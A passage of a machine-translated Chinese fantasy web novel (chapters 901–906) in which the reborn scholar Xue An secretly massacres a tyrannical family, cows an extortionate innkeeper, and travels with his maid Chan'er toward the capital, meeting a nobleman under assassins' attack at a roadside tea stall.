    The Buddhist niche cracked silently from the middle. Xue An stood there, looking at the uncle Chen family who was shaking like a chaff, and said lightly: "In the next time, I hope you will like it!"


    When the words fell, screams began.


    Xue An didn''t show any mercy.


    Because everything he saw along the way made him shocked.


    There is no need for this Chen family to exist anymore.


    The moonlight outside was gradually shrouded in clouds.


    The night is like the sea.


    The slaughter came to this sinful mansion of the Chen family.

 Chapter 901： Get the silver and get out!

    When the first ray of sunlight in the morning came into the house.


    Chan''er''s eyelashes trembled lightly and slowly opened her eyes.


    The first thing that caught your eye was Xue An, who was still lying on the bed and sleeping.


    I saw him lying on his back and making slight snoring sounds, obviously sleeping very heavily.


    Chan''er looked at him blankly, and suddenly felt a piercing pain.


    Is it still like this?


    The expected miracle did not happen at all.


    It turns out... Master really doesn''t want me anymore!


    Thinking of this, Chan''er held back the tears and got out of bed lightly.


    She made a cup of hot tea and put it on the table next to the bed.


    Because the young master has a habit of always drinking a cup of hot tea after waking up.


    While making tea, Chan''er cried several times, thinking that this might be the last cup of tea he made for the young master.


    Then she planned to get a basin of cleansing water.


    But at this moment, a sudden knock on the door sounded, and then came the shout of the inn shopkeeper Yang Zelin.


    "Master Xue, Miss Chan''er, have you gotten up?"


    Although the words were very polite, the pride in the voice almost overflowed.


    Chan''er was shocked, and her face turned pale as paper in an instant.


    It''s finally here!


    Chan''er was filled with despair.


    But at this moment, a lazy voice came from behind her.


    "Chan''er, go open the door!"


    Chan''er trembled and turned to look, only to find that Xue An didn''t know when he had woke up, and was sitting on the bedside yawning.


    "Master..."


    Xue An stretched and smiled at her, "Go!"


    "Oh!"


    Chan''er lowered his head, dragged two legs that seemed to be filled with lead, and slowly came to the door.


    In her opinion, the simple wooden door in front of her became extremely heavy at this moment.


    And as long as you open it yourself, everything will be irreversible.


    Therefore, holding the last glimmer of hope, she turned to look at Xue An, only to find that the young master was drinking tea with her head down.


    Chan''er came out of grief and had to tremble and open the door.


    Not surprisingly, the inn shopkeeper Yang Zelin stood outside the door.


    I saw this big shopkeeper who is usually acrid and mean, but at the moment he looked happy.


    Especially when he saw Chan''er with tears on his face, his eyes were brighter.


    What a stunner.


    And this is still in its infancy. If you wait for a few more years to fully mature, what amorous feelings it must be.


    Thinking of this, Yang Zelin couldn''t help feeling a little envious of Chen''s Yan Fu.


    If it weren''t for Young Master Chen to intervene, this little girl would not let it go.


    Thinking about it, Yang Zelin smiled, "Girl Chan''er, can Master Xue get up?"


    Chan''er nodded slightly.


    At this time, Xue An''s indifferent voice came from the room, "Come in!"


    Yang Zelin smiled, then walked into the house.


    "Master Xue, was it okay to have a rest last night?" Yang Zelin asked with a smile, but his eyes were whirling.


    "It''s okay!" Xue An looked still, and continued to drink tea slowly.


    The atmosphere in the room suddenly became a bit solemn.


    Yang Zelin sneered in his heart, at this time, what are you still pretending to be confused?


    Therefore, he was not salty or indifferent. "If this is the case, then I will be straight to the point. I don''t know if Xue Gongzi still remembers what he said yesterday!"


    Ye Xiaochan, who was standing with his hands down, was shocked, his head buried lower.


    Xue An smiled faintly, "Of course I remember!"


    "Very good! It has already sunk in the east now, so please ask Young Master Xue to reward him with twenty taels of silver!"


    Xue An did not say a word, but continued to drink tea.


    Until Yang Zelin had shown impatience.


    Xue Ancai put the tea cup in his hand on the table, and then said lightly: "Shopkeeper Yang, are you sure you want these twenty taels of silver?"


    Yang Zelin was taken aback.


    What do you mean?


    Is this trying to reckless?


    Haha, it is estimated that the so-called scholar''s face is at stake!


    Yang Zelin thought to himself, with a sneer on his face, "Master Xue, what you said is really like a joke. You said it yourself yesterday, and you will pay at sunrise, otherwise you will lose Chan''er girl to me! Is it because you want to fall back on the bill now?"


    Xue An looked at Yang Zelin with a faint smile, and shook his head, "Of course he won''t fall back on the bill, but I''m afraid that the shopkeeper Yang will receive the twenty taels of silver, and he will have to return it later!"


    Yang Zelin laughed blankly at these remarks, and his heart was full of disdain.


    What a poor scholar, he is still talking about it at this time.


    "Hehe, Master Xue, you are really good at joking, tell the truth, I know you have no money! You can make up twenty taels of silver in one night, not to mention you, it is very difficult even for a businessperson like me! Don''t be embarrassed, as long as you hand this Chan''er girl to me, I will even be able to give you an order to help you enter Beijing for the exam. What do you think?"


    During the conversation between the two, Chan''er had been standing by, and her tears kept falling.


    After hearing Yang Zelin''s words, she was shocked, her eyes turned black, and her heart was filled with despair.


    Because she felt that it was over!


    everything is over!


    He is about to leave the young master and become the plaything of these bad guys.


    Thinking of this, Chan''er had already burst into tears, and then turned around and bowed to Xue Anyingying.


    "Master, I know it''s hard for you... You sold me... Chan''er has no complaints!"


    Speaking of Chan''er was already crying into tears.


    But at this moment, a warm hand gently placed her shoulder, and then Xue An''s chuckle came.


    "What are you talking about? Who said I was going to sell you?"


    Ok?


    Chan''er was shocked and looked up at Xue An with tears on her face.


    But Yang Zelin''s expression sank, "Master Xue, you..."


    He wanted to say why you turned back.


    But at this moment, Xue An took out an ingot of silver from his arms, threw it directly, and said lightly.


    "This is the silver you want!"


    Yang Zelin was stupid.


    Chan''er was even more stunned.


    Then Yang Zelin picked up the silver with a look of disbelief, checked it carefully, and even bit his teeth several times.


    But no matter how you look at it, this is a real piece of silver.


    And just by weighing it with your hands, you can know that this is definitely far more than twenty taels.


    "This..." Yang Zelin was dumbfounded.


    He never expected that this Xue An could actually come up with twenty taels of silver.


    Chan''er looked at Yang Zelin and Xue An with an incredible expression on his face.


    She knows the current financial situation of the master and servant best.


    Not to mention twenty taels, that is, two copper plates can''t be taken out.


    And last night, the young master lay in bed and slept all night, could this silver fall from the sky?


    At this time Xue An stood with his hand in his hand and said lightly: "The silver you want has been given to you, shopkeeper Yang, please get out!"


    Xue An is a very polite person, even if people go to fuck, they have to add a please.


    Yang Zelin''s face was blue and white. Although his heart was full of suspicion and anger, he was frightened by Xue An''s indifferent aura, and he could only leave the house dingy.

 Chapter 902： News comes

    After the master and servant were left in the house.


    Xue An scratched the sluggish Chan''er''s little nose with his hand, and said with a smile: "What? I couldn''t be sold by the young master, a little disappointed?"


    The voice just fell.


    Ye Xiaochan suddenly rushed forward and hugged Xue An, then buried his head in Xue An''s arms, howling.


    Xue An stiffened, and then sighed secretly.


    Yan''er, I didn''t do anything to be sorry for you.


    Actually for Chan''er.


    Xue An always treats her daughter with an attitude.


    After all, this little girl is not a few years older than her own daughter.


    At this time Chan''er whispered and said: "Master...I...I really thought you would sell me! Chan''er was really scared at the time!"


    Xue An laughed dumbly, and then patted Chan''er on the shoulder, "Okay, let''s stop crying! How could I sell you!"


    In the end, under Xue An''s comfort, Chan''er gradually recovered her peace.


    And because she had removed a big rock in her heart, this little girl felt that she was extremely happy, and her small face glowed with joy.


    that''s nice!


    I don''t need to be sold, and I can continue to be his little maid by the young master''s side in the future.


    For this pure-minded little girl, this is the happiest thing in the world.


    But she still had some doubts in her heart, "But master, that silver..."


    This little girl is very thoughtful, for fear that his young master will cause misfortune again because of the silver.


    Xue An saw her worry and couldn''t help but smile: "Don''t worry, there will be no problems with this ingot, and..."


    Xue An''s eyes flickered, "After a while, this big shopkeeper Yang should cry and scream to send the silver back!"


    What Xue An is telling is also the truth, and there really won''t be any problems with this ingot.


    Because the people who might cause problems have been killed by him.


    But Chan''er didn''t know this, she sounded like falling into the fog of five miles.


    how is this possible?


    How could that greedy shopkeeper Yang send back the money he got?


    This sounds almost like a fantasy.


    But she did not dare to ask.


    Because she found that after a serious illness, her young master was like a different person.


    Not only has his words and deeds become more domineering, but he also has a more temperament.


    This kind of temperament makes him just laugh, as if there is nothing to hold him in the world, which is inexplicable peace of mind.


    So Chan''er no longer thinks about the troublesome things.


    who cares! As long as the young master says it''s okay, it must be okay!


    And just when the master and servant were chatting in the house.


    Yang Zelin returned to the front yard with twenty taels of silver.


    Yang Yuezheng was waiting restlessly in front of her. When she saw her father came back, her heart was tense.


    Of course she knew what her father was doing later.


    Although very sympathetic.


    But under the oppression of father and daughter''s righteousness, she could only watch silently, unable to help.


    This made her heart full of pain and entanglement, that''s why she was so uneasy, and even a little lost.


    But at this moment, she suddenly realized something was wrong.


    Because his father''s face was blue, he was so happy when he didn''t go at all.


    what happened?


    Could something have happened?


    Yang Yue was shocked and hurriedly greeted her.


    "Father, what''s the matter?"


    At this moment, Yang Zelin looked extremely ugly, and his heart was filled with anger.


    Therefore, when I saw my daughter''s ardent gaze, I couldn''t help getting angry, and raising my hand was a slap in the face.


    Yang Yue was staggered by the fan, and then she covered her face, "Father..."


    "Hmph! Eating things inside and out, haven''t you always been very sympathetic to that little maid? Now it''s all right, as you wish?" Yang Zelin roared with a stern face.


    Although she was a bit wronged, Yang Yue didn''t feel too sad because she had been beaten too much, but she felt confused after hearing her father''s words.


    "Father, what are you talking about? I didn''t understand..."


    "Huh!" Yang Zelin took out the ingot and patted it heavily on the counter.


    "Did you see it? That Xue An, who looked like a wasteful person, actually took out twenty taels of silver!"


    what?


    Yang Yue was also stupid.


    She never expected that things would suddenly turn around.


    You know, in Yang Yue''s view, this Xue An simply wanted to rely on Chan''er to make a bet so that he could get away.


    That''s why she looked down on Xue An so contemptuously.


    But now things are developing like a resounding slap, and she can''t even find the fan.


    However, although she felt hot pain on her face, Yang Yue''s heart was full of relief and joy.


    In any case, that poor and cute little maid didn''t need to fall into the claws.


    But at this moment, Yang Zelin said gloomily, "I underestimated this Xue An, but does he really think that this matter is over? You know that little maid... but the person Chen Gongzi liked! "


    Hearing these wordsYang Yue''s heart tightened again.


    Yes!


    In this city, the words of the Chen family are imperial decree. Who dares to disobey?


    Even if Xue An handed in the silver this time, but then Master Chen would just give up and let Chan''er go?


    Yang Yue''s heart was once again occupied by worrying haze.


    But Yang Zelin smiled sullenly.


    Because he figured it out.


    In any case, the master and servant do not even want to leave the city.


    And this is considered to be an extra coin, isn''t it a surprise?


    Thinking in his mind, he began to look at the ingot carefully.


    Ok! That''s right, it''s definitely genuine silver, nothing wrong!


    Yang Zelin became more and more proud.


    But at this moment.


    A guy ran in with a panic face.


    "The palm... the treasurer,... something big happened!"


    This Yang Zelin''s expression sank, "Asshole thing, you just opened the store this early in the morning, so why are you crying like a funeral? Deduct one day''s wages!"


    This shopkeeper Yang is very superstitious.


    Especially now that the door has just opened, this guy is so flustered to say something serious, it''s simply unlucky.


    However, this guy seemed to have not heard Yang Zelin''s scolding, his whole body was shaking, and even his teeth clucked with excessive panic.


    "Hand... shopkeeper, Chen... Chen family..."


    "What''s wrong with the Chen family?" Yang Zelin picked up a cup of tea in his spare time and just took a sip.


    Then I heard this guy tremblingly say: "The Chen family...The Chen family is dead!"


    Yang Zelin frowned, "Asshole thing, did you drink in the morning? What is the death of the Chen family? Did you know that if you were heard by the Chen family, your little life would not be saved? ?"

 Chapter 903： Grandpa forgiveness

    At this time this guy was about to cry, "The shopkeeper, what I said is true, Chen Family...Everyone in the Chen Family is dead!"


    puff!


    After taking a sip of tea, Yang Zelin sprayed it on the ground before he could swallow it, and then asked with astonishment, "What did you say?"


    The guy swallowed hard, and said in horror: "The news that just came out, overnight, the Chen family went up and down, including Jiadinghuyuan, a total of 312 people... all were violent. shoot!"


    Click.


    The tea cup in Yang Zelin''s hand fell to pieces, and the hot tea splashed Yang Zelin all over.


    But Yang Zelin didn''t realize it, but stared at her dumbfoundedly, "You...what are you going to say?"


    The guy took a deep breath and said calmly: "The shopkeeper, I just heard this news from the market, and it has spread like crazy now, and it''s definitely true news!"


    Yang Zelin''s complexion changed from red to white, and from white to blue.


    Suddenly, he eagerly asked: "Then...what about Chen Jiayu, Master Chen?"


    The guy shook his head, "There is no Chen family anymore. All the Chen family members, none of them are left, and all are dead. Even the few cannibal wolfhounds raised in the backyard have been mutilated! And... ."


    Speaking of this, a look of horror appeared on the face of this young man.


    "Not only what?" Yang Zelin asked with a hissing red eyes.


    "Moreover... the rich princes in the city who were close to Master Chen are all dead!"


    There was dead silence in the room.


    Yang Zelin felt that his legs were shaking.


    And Yang Yue, with a pale face, stood aside, and her hairs stood up.


    At this moment, there were chaotic footsteps on the street outside, and many people were talking loudly.


    "Gosh, what you said is true?"


    "Nonsense, my brother was a servant in the yamen, he saw it with his own eyes! Hearing from him, the entire floor of the Chen Mansion was soaked in blood, and those people died in a terrible state, even in our county office. The knowledgeable Liu Bantou was so scared that he couldn''t speak for a long time!"


    "Hey! So...the Chen family is over?"


    "It must be over! Up and down all dead! Can''t it be done?"


    "Let me say, this Chen family must have acted too arrogantly, and in the end it has offended an expert!"


    "Tsk tusk, this hero is acting too domineering, that''s hundreds of lives!"


    "Hehe, in my opinion, none of these people has been wronged!"


    "The door was destroyed overnight, and everything was going to be done. Maybe this peerless style was done by a peerless expert!"


    These comments thoroughly confirmed that what the guy said was not false.


    But the more so, the more frightened Yang Zelin.


    At this moment.


    He suddenly remembered this incident today.


    Xue An, who originally thought it was absolutely impossible to hand over the silver, handed over the silver.


    And when he was in the room, what he said was strange at the moment.


    Don''t cry and yell at that time to send the silver back....


    Yang Zelin suddenly stirred Lingling into a cold war.


    Because he remembered that when Xue An said this, the smile on the corner of his mouth seemed like nothing.


    That smile seems to have seen everything.


    At this moment, from the corner of Yang Zelin''s eyes, he caught a glimpse of the silver ingot on the table. He was startled first, and then rushed forward.


    He turned the silver upside down with trembling hands and looked at the lettering on the back of the silver in the light outside.


    Silver ingots usually have engravings from various houses to prevent someone from stealing.


    Although it was a bit vague, after careful identification, you could still see the small old character behind the silver ingot.


    When he saw this word, Yang Zelin trembled like chaff, and fell directly to the ground.


    Because he has understood everything.


    No wonder Xue Anhui bet so vowedly yesterday.


    No wonder he didn''t even have a trace of panic.


    It turned out... he was already prepared.


    But thinking about it this way, Yang Zelin felt even more frightened.


    Because, that''s hundreds of lives!


    Moreover, there are many powerful and powerful thugs in the Chen family.


    But overnight, these people were all slaughtered by the business-minded teenagers.


    How can these facts not make Yang Zelin feel scared.


    At the same time.


    Yang Yue also saw something from her father''s behavior, and then she picked up the silver ingot on the ground, and when she took a closer look, she was also stupid as if struck by lightning.


    The facts are already clear.


    Even a fool can guess what is going on.


    Yang Yue felt that the hairs all over her body were standing upright, and the corners of her mouth were numb with fear.


    It turns out...you are such a person!


    Think about my ridicule of Xue An yesterday.


    Yang Yue suddenly had the urge to cry.


    It turns out that I am the fool!


    At this moment.


    Yang Zelin, who was limp on the ground, suddenly jumped up, grabbed the silver ingot in Yang Yue''s hand, and ran to the backyard.


    Yang Yue was stunned for a moment, and then rushed over.


    But she did not forget to say: "Come on, close today!"


    "Yes!"


    At the moment is in Xue An''s room.


    Chan''er was waiting for Xue An to wash her face with joy.


    Although Xue An has repeatedly said that he does not need her to help.


    But Chan''er refused.


    In desperation, Xue An left it alone.


    "Master..."


    "Ok?"


    "Your illness is cured, when shall we leave for the capital?"


    "Just two days!"


    "Yeah! Young master will definitely be the top high school champion if you go, let those who look down on us take a good look!" Chan''er said with joy.


    Xue An smiled in his heart.


    Top pick?


    What I want, but this whole world!


    "By the way, the young master, didn��t the Qin family write a letter a year ago, saying, when we go to Beijing, can we go to her house for the night? I have already installed all the letters! And I heard that our old neighbor Qin��s family is now in Beijing. China is considered a big family! Hehe, when we were neighbors, you often played with that Miss Qin family...!"


    Xiao Chan''er started talking non-stop again.


    Xue An was noncommittal.


    In the short memory of this body, there is indeed the existence of this Qin family.


    But no matter what Ms. Qin''s family, or the so-called letter, Xue An didn''t have the slightest interest.


    And the reason why he went to the capital was to find out the breath he felt at the beginning.


    At this moment, the door of the room was suddenly pushed open, and then Yang Zelin rushed in panting.


    "Treasurer Yang, you..." Chan''er was taken aback for a moment, and then nervously wanted to say something.


    She thought this shopkeeper Yang had turned her back, and what she wanted to do.


    But at this moment, the shopkeeper Yang plopped and knelt down in front of Xue An, tears streaming down his head and knocking his head like garlic.


    "Master Xue is forgiving, Grandpa Xue is forgiving!"

 Chapter 904： To kill the first

    Chan''er was stunned.


    What the **** is this? Why did the shopkeeper, who was very arrogant and proud, suddenly change his attitude?


    But Xue An was not moved at all, just sitting there quietly, and said casually: "Treasurer Yang, what do you mean?"


    With a frightened expression on his face, Yang Zelin trembled and said, "Master Xue, I know I was wrong, this...this is the silver you just rewarded. I will return it. I only ask you to let me go. I will never dare Up!"


    While talking, the shopkeeper Yang knocked his head bang.


    Seeing this scene, Yang Yue, who came afterwards, looked a bit complicated.


    Although she was very uncomfortable with what her father did, he was also her own father anyway.


    Seeing her father kneeling on the ground begging for mercy like a kowtow, she naturally felt a little uncomfortable as a daughter.


    She secretly glanced at Xue An who was sitting there.


    Before today, Xue An was just a weak and incompetent scholar in her eyes.


    Even because of the bet, Yang Yue was full of contempt for Xue An.


    But until today, she finally understood the root cause of everything, and naturally did not dare to have the slightest disdain.


    When she caught a glimpse of Xue An, her heart was even more shocked.


    Because this once skinny boy, now just sitting there, there is a kind of power that people dare not look directly at.


    Even when he saw his father kowtow like this, he didn''t show the slightest expression, but watched quietly with a condescending gaze.


    Yang Yue felt miserable in her heart, and when she gritted her teeth, she also knelt by her skirt.


    "Master Xue, this is all because of my father''s obsession. Please raise your hand and let him go! If you are angry in your heart, you can send it to me!" Yang Yue fell on her knees with a face. Facial expression.


    Seeing this scene, Chan''er''s face showed hesitation.


    After all, this Yang Yue had taken care of her in every possible way.


    Although she was rude afterwards, it was also because she was worried about her safety.


    So she looked at Xue An quietly and whispered: "Master..."


    Although I didn''t say the following words, the meaning was already obvious.


    Xue An smiled at her and nodded.


    Then he turned his head and said to Yang Zelin, who was already shaking on the ground, and said: "Treasurer Yang, I remember I once said that after you take this ingot, I am afraid that you will send it back obediently. Now, are you credible? "


    Yang Zelin shook his whole body and nodded repeatedly, "Believe...believe! Of course I believe it! Young Master Xue, I have no eyes for all this, please spare my life!"


    Yang Zelin was almost frightened at this moment, for fear that Xue An would not please his eyes, and then kill himself.


    Xue An looked calm, "I wanted to kill you, but your daughter saved your life!"


    Yang Yue trembled all over, with a dazed expression on her face.


    I saved my father''s life?


    Why don''t I know this?


    Xue An glanced at her and smiled slightly, "Even though your words were ugly yesterday, but the intention was good, otherwise, do you think you father and daughter can still live to this day?"


    When Yang Yue heard the words, she bowed her head deeply and did not dare to say anything.


    Yang Zelin let out a deep breath.


    In any case, his life was saved.


    But at this moment, Xue An said lightly: "But..."


    The heart that Yang Zelin had just let go of, instantly mentioned his throat again, staring at Xue An with horror, for fear of any reversal.


    "Since you are so scared, you naturally understand everything behind it. If I leave, you will..."


    Before Xue An''s words were finished, Yang Zelin had already knocked his head like smashing garlic, "Xue Gongzi, don''t worry, I promise to rot in my stomach for this kind of thing, and I will never confide in a word."


    Xue An smiled.


    "It doesn''t have to be the case. In fact, since I dare to do it, I am not afraid of being known. If you don''t believe me, you can try it."


    Although Xue An''s smile is very bright.


    But Yang Zelin was like falling into the ice cellar, only dared to shake his head in a panic, "Don''t dare, and how can I go out and talk about this kind of thing? Because if the government knows about it, I can''t get rid of it..."


    "You are smart! Get up."


    "Yes!"


    Yang Zelin wiped the cold sweat from his forehead, then got up tremblingly, and then led his daughter Yang Yue out respectfully.


    Wait for them to go.


    Chan''er asked strangely: "Master, why is this shopkeeper suddenly so scared?"


    Xue An smiled faintly, "Maybe... he has a ghost in his heart!"


    The uproar caused by the Chen family being destroyed overnight is still shaking in this small city.


    Because not only the Chen family died, but also many wealthy princes were also killed.


    This caused the entire city to fall into panic.


    The streets are full of soldiers maintaining order, and even Yuxiufang, which has never been closed, is closed today.


    In fact, even with the door open, no one dared to come.


    Those dudes are shivering under the covers.


    But in stark contrast is the joyous atmosphere that permeates the people at the bottom of the city.


    The Chen family''s decades of dominance and blessing have long made the people in this city hate it But because the Chen family is extremely powerful, it is said that even the capital has a backstage.


    So it will stand for decades without falling.


    Unexpectedly, the Supreme Emperor, who had been crushed on the heads of the people in the city, was uprooted overnight.


    How can this not make these people happy.


    Although he did not dare to celebrate blatantly, the drinks in the city suddenly began to sell well.


    Even people from poor families are willing to buy a jar of wine to celebrate.


    Xue An, who had witnessed all this, sighed in his heart.


    Many people say that if the soil that produces bullies cannot be eradicated, then even if you destroy a Chen family, there may be Li family or Liu family appearing, which is meaningless.


    But Xue An didn''t think so.


    The joy on the faces of these people is meaning.


    Moreover, although killing to stop killing and fighting violence cannot solve the root cause, it can make latecomers feel afraid.


    Only in this way will the evil converge.


    But all of this has nothing to do with Chan''er.


    She didn''t even know what was happening outside, she was still a happy silly girl.


    the next day.


    Chan''er packs up the bags.


    Said it is a bag, but it is actually a small baggage.


    Chan''er was on her back.


    Xue An glanced at the Yang family father and daughter who had come to see him off, and smiled slightly.


    Then he raised his hand, "Chan''er, go!"


    After all, Xue An strode to the official road.


    "Good young master!" Chan''er responded happily and nodded at Yang Yue.


    "Sister Xiaoyue, let me go!"


    Then he followed Xue An to the capital.


    Watching the killer leave, Yang Zelin was completely relieved. After returning, he immediately sold the inn, and then led his daughter out of the small town.

 Chapter 905： Teenager eating noodles

    On the official road leading to the capital, there is a flow of people and horses and horses like dragons.


    At this moment, it is the turn of spring and summer, and there are trees and flowers blooming along the roadside.


    The unpolluted natural scenery made Xue An feel relaxed and happy.


    And after a few days of travel, Xue An discovered a very interesting phenomenon.


    This world is quite similar to ancient China, whether it is dressing or speaking.


    But judging from all the signs, this is by no means any earth in time and space.


    This phenomenon made Xue An feel strange.


    It seems that the world is far more simple than it seems.


    This day.


    It was almost noon, but because they missed the town shop, the master and servant had to continue on their way.


    A few days ago, Xue An ignored Xiaocai Michan''s objection and bought a donkey cart for transportation.


    As for why it is a donkey cart instead of a carriage, it is because horses in this era are very scarce, and even if there are, they cannot be used for driving.


    Although Chan''er strongly opposed it before buying, there was no way, for a poor maid who was used to it, the money for buying a donkey cart was enough for half a year.


    But after Xue An bought it, this Chaner''s attitude changed drastically. He was so excited that he could not fall asleep. He even refused to feed the donkey by others'' hands and had to feed it by himself.


    Xue An originally wanted to hire a coachman.


    Chan''er volunteered and mastered driving skills in just one or two days.


    So now Xue An is lying in the carriage with boredom, and Chan''er is driving the donkey cart with a whip excitedly.


    Recalling that some time ago, he was still riding the sky and slaughtering the gods, but in a blink of an eye he was riding a small donkey cart on the road, Xue An couldn''t help but laugh.


    I hope that in the capital, don''t let yourself down! Xue An thought to himself.


    Chan''er shouted: "Master, there seems to be a small tea stand in front of you!"


    Xue An lifted the curtain and looked forward.


    really.


    Not far ahead, there is a simple tea shed standing by the roadside.


    The shabby guise was swaying in the wind, and there was a strong fragrance of tea and food.


    Xue An knows that this kind of roadside tea stall not only sells tea, but also serves some simple meals, which is convenient for passersby to fill their stomachs, and the price is very cheap.


    Of course, don''t expect to say how delicious it can be.


    But Chan''er felt very kind when he saw this tea stall.


    Because in the past, when she followed the young master on the road, she used to solve the problem of eating at this tea stand.


    So she said with excitement: "Master, let''s eat here! I always eat out these days, it''s too extravagant!"


    Looking at the Chan''er who was like a little money fan, Xue An laughed blankly, "Okay, then eat here!"


    The donkey cart is tied to the tree beside the road. Of course, this kind of tea stall will not have forage to feed the animals.


    The always stingy Chan''er actually bought a few eggs, got black beans and stirred them together, and then fed them to this little donkey.


    The little donkey ate his nose, obviously very satisfied.


    Chan''er watched from the side, and kept muttering in her mouth, as if talking to this little donkey.


    This scene made Xue An laugh and cry.


    This little girl is really cute and tight sometimes.


    Because it is a small tea stall, naturally there will be no good things, nothing more than noodles and marinated eggs, the most extravagant thing is to cut a few slices of lamb.


    Xue An was not picky. After ordering a few bowls of mutton noodles, he sat down with Chan''er, and the master and servant began to slurp and eat.


    But at this time.


    There was a rapid sound of horseshoes from far away from the official road.


    In a blink of an eye, two tall horses rushed to the front, and the horse behind with the reins, the horses stopped lightly.


    These two horses are very strange, and the riders are well-dressed, obviously they are not ordinary people.


    The diners in the tea stall looked up, then hurriedly lowered their heads, not daring to look more.


    Because one who can afford this kind of BMW is definitely not rich or expensive.


    It will definitely not be something ordinary people like them can afford.


    At this moment, the young man in white was sitting on the maroon horse at the back and said lightly: "I''m a little thirsty, so let''s rest here first!"


    The rider in front of him is a middle-aged man wearing strong clothes and a calm momentum.


    When he heard the boy''s words, he looked at this crumbling tea shed again, and he couldn''t help but feel a little embarrassed.


    "My son, this..."


    But the boy in white obviously didn''t want to talk more nonsense, so he got off his horse and walked into the tea shed.


    The middle-aged man didn''t dare to delay, so he quickly got off his horse and followed the boy in.


    "The shop, is there anything delicious?" the boy asked while looking at the people in the tea shed with interest.


    The owner of the tea shed is obviously a little scared, "Go back... back to the young master, here are some ordinary rough foods from the countryside, but there is nothing delicious!"


    The middle-aged man just wants to talk.


    But at this moment, the boy noticed Xue An and Chan''er sitting in the corner of the tea shed, eating noodles.


    Xue An was dressed as a scholar, Chaner knew at first glance that she was a little maid.


    But both the master and the servant have very high looks, so it is impossible to not be noticed.


    Looking at the two people eating lamb noodles, the young boy''s handsome eyes flashed slightly, obviously very interested.


    Xue An and Chan''er are so brilliant in this country, which naturally surprised this young man.


    Then he pointed at Xue An''s side, "Looks like this is good, give me two bowls too!"


    "Dian... Young Master, this..." The middle-aged man still wanted to stop.


    The teenager waved his hand a little impatiently, "It''s okay, why are there so many things? You see everyone is eating, it must taste good!"


    The middle-aged man had to bow his head, "Yes!"


    quickly.


    The owner of the tea shed brought two bowls of mutton noodles.


    The boy took two bites with great interest, and then frowned imperceptibly.


    As the middle-aged man said, these small rural shops are looking for cheap and affordable, and naturally they are not very particular about the taste.


    But this young man was stubborn. He glanced at Xue An''s side first and found that Xue An had eaten two bowls and was eating the third bowl.


    Therefore, he gritted his teeth and started to eat noodles like Xue An.


    The middle-aged man is a bit silly He has never seen his son behave like this.


    You should know that when eating at home, let alone snoring, even the posture of eating is not good.


    What''s going on here?


    The middle-aged man was surprised.


    Xue An had already noticed these things, but he just smiled and didn''t take it seriously.


    But just when this young man is getting better, eating happily.


    Not far behind him, a table of diners stood up and seemed to check out and leave.


    No one paid attention to this.


    But at the moment these people passed by behind the boy.


    A cold light suddenly pierced the boy''s lower back.

 Chapter 906： The killer is killing

    The speed is so fast and the angle is stubborn, obviously he is rushing to kill the boy.


    The teenager was still eating noodles, seemingly unaware of it.


    But at this moment, the middle-aged man gave a cold snort and flicked his fingers slightly.


    boom.


    The assassin''s arm was hit by a white light, and it fell softly, and the dagger in his hand fell to the ground with a clang.


    But this sound seemed to be a signal.


    The diners on the tables beside the young man violently violently raised their swords and swords in their hands.


    The middle-aged man shouted angrily, "So courageous!"


    As he said, he jumped up to meet the assassins who rushed.


    Bang bang bang.


    In the continuous burst of noise, none of these assassins was an enemy of the middle-aged man.


    Often when they face each other, they are bombarded out, and when they fall on the ground, they have become dead bodies.


    Chan''er was so frightened that Hua Rong paled, "Young...Master!"


    Xue An didn''t even lift his eyelids, and said lightly: "Eat quickly, otherwise it will be unpalatable when the noodles are cold!"


    Chan''er was terrified at first, but when she saw that her young master was so calm, her heart settled down.


    "Yeah!" Chan''er continued to eat noodles.


    At this moment.


    The battle situation has gradually become clear.


    These assassins were killed by the middle-aged men, threw their helmets and unarmed, and ran away.


    But the middle-aged man was very calm and would never leave the teenager for half a step.


    Seeing that the war is about to end.


    The boy finally finished eating the noodles in the bowl, and then patted the table, "Happy! It turns out that eating like this is so refreshing! The shopkeeper, check out!"


    The shopkeeper of the tea shed had already been scared to hide under the table beside him.


    Now that he heard the boy''s order, he crawled out of it tremblingly, and then came forward.


    "Big...sir!"


    The boy smiled, "How much does it cost to smash your thing?"


    The shopkeeper of the tea shed lowered his head, "You...just give five thousand taels of silver!"


    This sentence shocked the young man.


    It is estimated that this tea shed is not worth two taels of silver. In the end, his mouth is five thousand taels?


    "The shopkeeper, are you joking?"


    "Haha!" The tea shed shopkeeper suddenly smiled, then raised his head, looking at the young man with a gloomy face.


    "A big man like you, a life of five thousand taels, is actually not expensive at all!"


    The middle-aged man shook his whole body and slammed over with a sharp roar.


    But the tea shed owner who was still cowering just now, his momentum suddenly soared, facing the punch from the middle-aged man, he just smiled coldly.


    "Fang Tiancheng, the Four Sacred Boxing who smashed the world in the past, is actually willing to be a running dog?"


    As he said, he waved out with a palm, with wind thunder in his palm, and Fang Tianchengzhen withdrew.


    Fang Tiancheng took a few steps back, and after finally standing still, his face turned pale, showing shock.


    "Ben Lei Palm, you are Lu Jiamu, a thousand-faced snake!"


    The tea tent shopkeeper Jie Jie laughed strangely, "Yes, it is my old man! Fang Tiancheng, you and your master don''t want to leave today! Someone has already paid for your life!"


    Fang Tiancheng''s face looked desperate.


    He is strong, but this Lu Jiamu is much stronger than him.


    It can be said that Lu Jiamu Nai, a thousand-faced snake, is the cold-blooded killer who has been the most popular in recent years.


    Unexpectedly, he would be waiting here today.


    But the young man didn''t show much panic, but calmly said: "Who wants you to kill me? I would like to pay double the price!"


    "Tsk tusk, it sounds tempting, but the old man I am very committed to my promise, so today... you must die!"


    With that said, this top killer who has gained fame in recent years has to do it.


    But at this moment, a calm voice came over.


    "Thank you for another bowl of noodles!"


    As soon as this statement came out, the audience was stunned.


    Then everyone turned their heads to look in the direction of speaking.


    Seeing Xue An smiled slightly, "If you want to call, please wait a while and call again, give us up first!"


    The teenager was simply speechless.


    When is this?


    How dare this scholar ask for noodles?


    Is it silly to read books?


    And Lu Jiamu was even slightly startled, and then he smiled sternly.


    "These days there are really everyone, and there are people who are not afraid of death like you, no matter what, seeing that your little maid looks so beautiful, then I will send you to the west first!"


    As he said, Lu Jiamu slapped his hand casually.


    A wind and thunder''s palm shadow went straight to Xue An.


    The boy was a little anxious, and shouted, "Hurry up!"


    He had a good view of Xue An, and he really didn''t want him to be affected by his own affairs.


    But he never expected that the scholar did not even move, but sighed slightly.


    "Is it so difficult to eat bowl of noodles these days?"


    At the same time, Palm Film has been present.


    When the boy closed his eyes, he couldn''t bear to look any longer.


    Because he felt that Xue An would undoubtedly die.


    But at this moment, Xue An took a breath.


    The shadow of the faint palm of the wind and thunder suddenly disappeared.


